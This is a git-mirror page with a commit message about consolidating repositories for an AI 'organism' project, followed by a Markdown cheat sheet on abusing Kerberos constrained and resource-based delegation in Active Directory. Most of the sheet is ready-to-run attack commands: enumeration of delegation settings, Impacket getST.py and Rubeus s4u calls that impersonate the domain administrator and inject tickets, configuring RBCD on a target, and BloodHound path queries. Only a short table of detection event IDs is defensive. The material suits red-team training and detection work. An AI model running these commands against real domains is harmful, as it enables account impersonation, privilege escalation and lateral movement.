mirror of
https://github.com/SHOGGOTH-SECTOR/sica-fondt.git
synced 2026-08-01 08:30:20 +00:00
24f816b6a3
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):
- brain/ LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
dispatch, A51 channels, and the OSINT cluster
- knowledge/ LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
MITRE ATT&CK data
- reference/ defensive threat-reference (C3, shhbruh doc) + AdaYaml parser
License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.
Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.
https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
90 lines
2.2 KiB
Markdown
90 lines
2.2 KiB
Markdown
# API Reference: Kerberos Constrained Delegation Abuse
|
|
|
|
## Delegation Types in AD
|
|
|
|
| Type | Attribute | Risk |
|
|
|------|-----------|------|
|
|
| Unconstrained | TrustedForDelegation | CRITICAL |
|
|
| Constrained | msDS-AllowedToDelegateTo | HIGH |
|
|
| Constrained + Protocol Transition | TrustedToAuthForDelegation | CRITICAL |
|
|
| Resource-Based (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | HIGH |
|
|
|
|
## PowerShell Enumeration
|
|
|
|
### Find Constrained Delegation
|
|
```powershell
|
|
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} `
|
|
-Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation
|
|
```
|
|
|
|
### Find RBCD
|
|
```powershell
|
|
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity `
|
|
| Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null}
|
|
```
|
|
|
|
## Impacket — S4U Attack
|
|
|
|
### getST.py — Request Service Ticket
|
|
```bash
|
|
getST.py domain/svc_account:password \
|
|
-spn cifs/target.domain.local \
|
|
-impersonate administrator \
|
|
-dc-ip 10.10.10.1
|
|
```
|
|
|
|
### Use Ticket
|
|
```bash
|
|
export KRB5CCNAME=administrator.ccache
|
|
smbclient.py -k -no-pass domain/administrator@target.domain.local
|
|
```
|
|
|
|
## Rubeus — S4U Attack
|
|
|
|
### S4U2Self + S4U2Proxy
|
|
```cmd
|
|
Rubeus.exe s4u /user:svc_account /rc4:NTLM_HASH \
|
|
/impersonateuser:administrator \
|
|
/msdsspn:cifs/target.domain.local /ptt
|
|
```
|
|
|
|
### RBCD Abuse
|
|
```cmd
|
|
Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_HASH \
|
|
/impersonateuser:administrator \
|
|
/msdsspn:cifs/target.domain.local /ptt
|
|
```
|
|
|
|
## RBCD Setup with PowerShell
|
|
|
|
### Set RBCD
|
|
```powershell
|
|
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount attacker$
|
|
```
|
|
|
|
### Verify
|
|
```powershell
|
|
Get-ADComputer target -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
|
|
```
|
|
|
|
## BloodHound Cypher Queries
|
|
|
|
### Constrained Delegation Paths
|
|
```cypher
|
|
MATCH p=(u)-[:AllowedToDelegate]->(c:Computer)
|
|
RETURN u.name, c.name
|
|
```
|
|
|
|
### RBCD Write Access
|
|
```cypher
|
|
MATCH p=(u)-[:GenericWrite|WriteDacl|WriteOwner]->(c:Computer)
|
|
RETURN u.name, c.name
|
|
```
|
|
|
|
## Detection — Event IDs
|
|
| Event | Description |
|
|
|-------|-------------|
|
|
| 4769 | Kerberos Service Ticket (check for S4U) |
|
|
| 4770 | Service Ticket Renewed |
|
|
| 4768 | TGT Request (monitor for delegation) |
|